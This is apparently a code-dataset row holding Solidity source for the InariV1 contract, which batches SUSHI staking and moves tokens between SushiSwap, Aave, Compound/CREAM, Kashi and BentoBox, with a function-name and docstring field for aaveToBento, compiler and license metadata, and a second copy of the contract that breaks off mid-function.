/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | aaveToBento | function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
| /// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
7518,
8164
]
} | 11,779 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
